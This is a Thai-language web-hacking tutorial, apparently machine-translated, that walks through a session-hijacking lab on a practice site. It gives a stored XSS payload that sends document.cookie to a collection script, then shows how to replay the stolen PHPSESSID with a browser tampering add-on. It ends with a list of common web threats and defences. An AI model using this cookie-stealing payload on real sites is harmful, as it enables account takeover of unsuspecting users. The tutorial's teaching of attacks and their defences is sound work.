จะแฮ็กเว็บไซต์ได้อย่างไร? เทคนิคการแฮ็กไซต์ทั่วไป
เทคนิคการแฮ็กเว็บไซต์
ผู้คนเข้าถึงอินเทอร์เน็ตได้มากขึ้นกว่าที่เคย สิ่งนี้กระตุ้นให้หลายองค์กรพัฒนาแอปพลิเคชันบนเว็บที่ผู้ใช้สามารถใช้ออนไลน์เพื่อโต้ตอบกับองค์กรได้ รหัสที่เขียนไม่ดีสำหรับเว็บแอปพลิเคชันสามารถถูกนำไปใช้เพื่อเข้าถึงข้อมูลที่ละเอียดอ่อนและเว็บเซิร์ฟเวอร์โดยไม่ได้รับอนุญาต
ในบทช่วยสอนนี้ คุณจะได้เรียนรู้วิธีแฮ็กเว็บไซต์ และเราจะแนะนำให้คุณรู้จัก เทคนิคการแฮ็กเว็บแอปพลิเคชันและมาตรการตอบโต้ คุณสามารถจัดเตรียมไว้เพื่อป้องกันการโจมตีดังกล่าวได้
วิธีแฮ็กเว็บไซต์
ในสถานการณ์จริงของการแฮ็กเว็บไซต์นี้ เราจะแย่งชิงเซสชันผู้ใช้ของแอปพลิเคชันเว็บที่อยู่ที่ www.techpanda.org- เราจะใช้สคริปต์ข้ามไซต์เพื่ออ่านรหัสเซสชันคุกกี้ จากนั้นใช้เพื่อเลียนแบบเซสชันผู้ใช้ที่ถูกต้องตามกฎหมาย
สมมติฐานที่เกิดขึ้นคือผู้โจมตีสามารถเข้าถึงเว็บแอปพลิเคชันได้ และเขาต้องการแย่งชิงเซสชันของผู้ใช้รายอื่นที่ใช้แอปพลิเคชันเดียวกัน เป้าหมายของการโจมตีครั้งนี้อาจเป็นเพื่อให้ผู้ดูแลระบบสามารถเข้าถึงเว็บแอปพลิเคชันได้ โดยถือว่าบัญชีการเข้าถึงของผู้โจมตีนั้นมีข้อจำกัด
ขั้นตอน 1) เปิด URL http://www.techpanda.org/.
สำหรับวัตถุประสงค์ในการปฏิบัติ ขอแนะนำอย่างยิ่งให้ใช้ SQL Injection ในการเข้าถึง โปรดดูข้อมูลนี้ บทความ สำหรับข้อมูลเพิ่มเติมเกี่ยวกับวิธีการทำเช่นนั้น
ขั้นตอน 2) กรอกรายละเอียดการเข้าสู่ระบบ
อีเมลสำหรับเข้าสู่ระบบคือ admin@google.comรหัสผ่านคือ Password2010
ขั้นตอน 3) ตรวจสอบแดชบอร์ด
หากคุณเข้าสู่ระบบสำเร็จ คุณจะได้รับแดชบอร์ดดังต่อไปนี้
ขั้นตอน 4) ป้อนเนื้อหาใหม่
คลิกเพิ่มผู้ติดต่อใหม่และป้อนชื่อต่อไปนี้
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
ขั้นตอน 5) เพิ่ม Javascript.
รหัสข้างต้นใช้ Javaต้นฉบับ. โดยจะเพิ่มไฮเปอร์ลิงก์พร้อมกับเหตุการณ์ onclick- เมื่อผู้ใช้ที่ไม่สงสัยคลิกลิงก์ เหตุการณ์จะดึงข้อมูลกลับมา PHP รหัสเซสชันคุกกี้และส่งไปที่ snatch_sess_id.php
หน้าพร้อมกับรหัสเซสชันใน URL
ขั้นตอน 6) เพิ่มรายละเอียด
กรอกรายละเอียดที่เหลือตามที่แสดงด้านล่างและคลิกบันทึกการเปลี่ยนแปลง
ขั้นตอน 7) ตรวจสอบแดชบอร์ด
ตอนนี้แดชบอร์ดของคุณจะมีลักษณะเหมือนหน้าจอต่อไปนี้
ขั้นตอน 8) ตรวจสอบรหัสเซสชัน
หมายเหตุ: สคริปต์อาจส่งค่าไปยังเซิร์ฟเวอร์ระยะไกลบางแห่งที่เก็บ PHPSESSID จากนั้นผู้ใช้เปลี่ยนเส้นทางกลับไปที่เว็บไซต์ราวกับว่าไม่มีอะไรเกิดขึ้น
หมายเหตุ: ค่าที่คุณได้รับอาจแตกต่างจากค่าในหน้าเว็บนี้ กวดวิชาแฮ็คแต่แนวคิดก็เหมือนกัน
การใช้การเลียนแบบเซสชัน Firefox และส่วนเสริมข้อมูลการงัดแงะ
ผังงานด้านล่างแสดงขั้นตอนที่คุณต้องทำเพื่อทำแบบฝึกหัดนี้ให้เสร็จสิ้น
- คุณจะต้องการ Firefox เว็บเบราว์เซอร์สำหรับส่วนนี้และส่วนเสริมข้อมูลการงัดแงะ
- จุดเปิด Firefox และติดตั้งส่วนเสริมตามที่แสดงในแผนภาพด้านล่าง
- ค้นหาข้อมูลการงัดแงะ จากนั้นคลิกติดตั้งดังที่แสดงด้านบน
- คลิกที่ยอมรับและติดตั้ง...
- คลิกที่ Restart now เมื่อการติดตั้งเสร็จสิ้น
- เปิดใช้งานแถบเมนูใน Firefox ถ้ามันไม่แสดง
- คลิกที่เมนูเครื่องมือ จากนั้นเลือก Tamper Data ดังภาพด้านล่าง
- คุณจะได้รับหน้าต่างต่อไปนี้ หมายเหตุ: หาก Windows ไม่ว่างให้กดปุ่มเคลียร์
- คลิกที่เมนูเริ่ม Tamper
- เปลี่ยนกลับไปเป็น Firefox เว็บเบราว์เซอร์ พิมพ์ http://www.techpanda.org/dashboard.php จากนั้นกดปุ่ม Enter เพื่อโหลดหน้า
- คุณจะได้รับป๊อปอัปต่อไปนี้จาก Tamper Data
- หน้าต่างป๊อปอัปมีตัวเลือกสาม (3) ตัวเลือก ตัวเลือก Tamper ช่วยให้คุณสามารถแก้ไขข้อมูลส่วนหัว HTTP ก่อนที่จะถูกส่งไปยังเซิร์ฟเวอร์.
- คลิกที่มัน
- คุณจะได้รับหน้าต่างต่อไปนี้
- คัดลอก รหัสเซสชัน PHP คุณคัดลอกมาจาก URL การโจมตีและวางไว้หลังเครื่องหมายเท่ากับ มูลค่าของคุณควรมีลักษณะเช่นนี้
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- คลิกที่ปุ่มตกลง
- คุณจะได้รับหน้าต่างป๊อปอัปข้อมูล Tamper อีกครั้ง
- ยกเลิกการเลือกช่องกาเครื่องหมายที่ถามว่าดำเนินการดัดแปลงต่อหรือไม่
- คลิกที่ปุ่มส่งเมื่อเสร็จสิ้น
- คุณควรจะเห็นแดชบอร์ดดังที่แสดงด้านล่าง
หมายเหตุ: เราไม่ได้เข้าสู่ระบบ เราเลียนแบบเซสชันการเข้าสู่ระบบโดยใช้ค่า PHPSESSID ที่เราดึงมาโดยใช้สคริปต์ข้ามไซต์
เว็บแอปพลิเคชันคืออะไร? ภัยคุกคามทางเว็บคืออะไร?
เว็บแอปพลิเคชัน (หรือที่รู้จักในชื่อเว็บไซต์) คือแอปพลิเคชันที่ใช้โมเดลไคลเอ็นต์-เซิร์ฟเวอร์ ที่ เซิร์ฟเวอร์ ให้การเข้าถึงฐานข้อมูลและตรรกะทางธุรกิจ มันถูกโฮสต์บนเว็บเซิร์ฟเวอร์ แอปพลิเคชันไคลเอ็นต์ทำงานบนเว็บเบราว์เซอร์ไคลเอ็นต์ เว็บแอปพลิเคชันมักจะเขียนด้วยภาษาต่างๆ เช่น Java, C# และ VB.Net, PHP, ColdFusion Markup Language ฯลฯ เครื่องมือฐานข้อมูลที่ใช้ในเว็บแอปพลิเคชัน ได้แก่ MySQL, เซิร์ฟเวอร์ MS SQL, PostgreSQL, SQLiteฯลฯ
เทคนิคการแฮ็กเว็บไซต์ยอดนิยม
แอปพลิเคชันเว็บส่วนใหญ่โฮสต์อยู่บนเซิร์ฟเวอร์สาธารณะที่สามารถเข้าถึงได้ผ่านอินเทอร์เน็ต ซึ่งทำให้แอปพลิเคชันเหล่านี้เสี่ยงต่อการถูกโจมตีเนื่องจากเข้าถึงได้ง่าย ต่อไปนี้เป็นภัยคุกคามที่พบบ่อยของแอปพลิเคชันเว็บ
- ด้วย SQL Injection – เป้าหมายของภัยคุกคามนี้คือการหลีกเลี่ยงอัลกอริทึมการเข้าสู่ระบบ ทำลายข้อมูล เป็นต้น
- การปฏิเสธการโจมตีบริการ– เป้าหมายของภัยคุกคามนี้อาจเป็นการปฏิเสธการเข้าถึงทรัพยากรของผู้ใช้ที่ถูกต้องตามกฎหมาย
- การเขียนสคริปต์ข้ามไซต์ XSS– เป้าหมายของภัยคุกคามนี้อาจเป็นการแทรกโค้ดที่สามารถดำเนินการบนเบราว์เซอร์ฝั่งไคลเอ็นต์
- พิษจากคุกกี้/เซสชัน– เป้าหมายของภัยคุกคามนี้คือการแก้ไขคุกกี้/ข้อมูลเซสชันโดยผู้โจมตีเพื่อให้เข้าถึงโดยไม่ได้รับอนุญาต
- การปลอมแปลงแบบฟอร์ม – เป้าหมายของภัยคุกคามนี้คือการแก้ไขข้อมูลแบบฟอร์ม เช่น ราคาในแอปพลิเคชันอีคอมเมิร์ซ เพื่อให้ผู้โจมตีสามารถรับสินค้าในราคาที่ลดลง
- การฉีดรหัส – เป้าหมายของภัยคุกคามนี้คือการฉีดโค้ดเช่น PHP Pythonฯลฯ ที่สามารถดำเนินการได้บนเซิร์ฟเวอร์ โค้ดสามารถติดตั้งแบ็คดอร์ เปิดเผยข้อมูลที่ละเอียดอ่อน ฯลฯ
- การทำให้เสียหน้า– เป้าหมายของภัยคุกคามนี้คือการปรับเปลี่ยนหน้าที่แสดงบนเว็บไซต์และเปลี่ยนเส้นทางคำขอดูหน้าทั้งหมดไปยังหน้าเดียวที่ประกอบด้วยข้อความของผู้โจมตี
จะปกป้องเว็บไซต์ของคุณจากการแฮ็กได้อย่างไร?
องค์กรสามารถใช้นโยบายต่อไปนี้เพื่อป้องกันตัวเองจากการโจมตีเว็บเซิร์ฟเวอร์
- ด้วย SQL Injection – การฆ่าเชื้อและตรวจสอบพารามิเตอร์ผู้ใช้ก่อนส่งไปยังฐานข้อมูลเพื่อการประมวลผลสามารถช่วยลดโอกาสที่จะถูกโจมตีผ่าน ด้วย SQL Injection- โปรแกรมฐานข้อมูลเช่น MS SQL Server MySQLฯลฯ รองรับพารามิเตอร์และคำสั่งที่เตรียมไว้ ปลอดภัยกว่าคำสั่ง SQL แบบเดิมมาก
- การโจมตีแบบปฏิเสธการให้บริการ – ไฟร์วอลล์สามารถใช้เพื่อลดการรับส่งข้อมูลจากที่อยู่ IP ที่น่าสงสัยหากการโจมตีเป็นแบบ DoS แบบธรรมดา การกำหนดค่าเครือข่ายและระบบตรวจจับการบุกรุกที่เหมาะสมสามารถช่วยลดโอกาสที่จะเกิด โจมตี DoS ประสบความสำเร็จ
- การเขียนสคริปต์ข้ามไซต์ – การตรวจสอบความถูกต้องและฆ่าเชื้อส่วนหัว พารามิเตอร์ที่ส่งผ่าน URL พารามิเตอร์แบบฟอร์ม และค่าที่ซ่อนอยู่สามารถช่วยลดการโจมตี XSS ได้
- พิษจากคุกกี้/เซสชัน – สิ่งนี้สามารถป้องกันได้โดยการเข้ารหัสเนื้อหาของคุกกี้ หมดเวลาคุกกี้หลังจากผ่านไประยะหนึ่ง เชื่อมโยงคุกกี้กับที่อยู่ IP ไคลเอนต์ที่ใช้ในการสร้างคุกกี้เหล่านั้น
- การแบ่งเบาบรรเทาแบบฟอร์ม – สิ่งนี้สามารถป้องกันได้โดยการตรวจสอบและตรวจสอบอินพุตของผู้ใช้ก่อนประมวลผล
- การแทรกโค้ด – สิ่งนี้สามารถป้องกันได้โดยถือว่าพารามิเตอร์ทั้งหมดเป็นข้อมูลแทนที่จะเป็นโค้ดที่ปฏิบัติการได้ สามารถใช้การฆ่าเชื้อและการตรวจสอบความถูกต้องเพื่อดำเนินการนี้ได้
- การทำลายล้าง – นโยบายความปลอดภัยการพัฒนาแอปพลิเคชันเว็บที่ดีควรตรวจสอบให้แน่ใจว่าได้ปิดผนึก ช่องโหว่ที่ใช้กันทั่วไปในการเข้าถึงเว็บเซิร์ฟเวอร์นี่อาจเป็นการกำหนดค่าที่เหมาะสมของระบบปฏิบัติการ ซอฟต์แวร์เซิร์ฟเวอร์เว็บ และแนวทางปฏิบัติรักษาความปลอดภัยที่ดีที่สุดเมื่อพัฒนาแอปพลิเคชันเว็บ
สรุป
- เว็บแอปพลิเคชันจะขึ้นอยู่กับโมเดลเซิร์ฟเวอร์ไคลเอ็นต์ ฝั่งไคลเอ็นต์ใช้เว็บเบราว์เซอร์เพื่อเข้าถึงทรัพยากรบนเซิร์ฟเวอร์
- โดยปกติแล้วเว็บแอปพลิเคชันจะเข้าถึงได้ทางอินเทอร์เน็ต สิ่งนี้ทำให้พวกเขาเสี่ยงต่อการถูกโจมตี
- ภัยคุกคามเว็บแอปพลิเคชัน ได้แก่ SQL Injection, Code Injection, XSS, Defacement, Cookie Poxing ฯลฯ
- นโยบายความปลอดภัยที่ดีเมื่อพัฒนาเว็บแอปพลิเคชันสามารถช่วยให้เว็บแอปพลิเคชันมีความปลอดภัยได้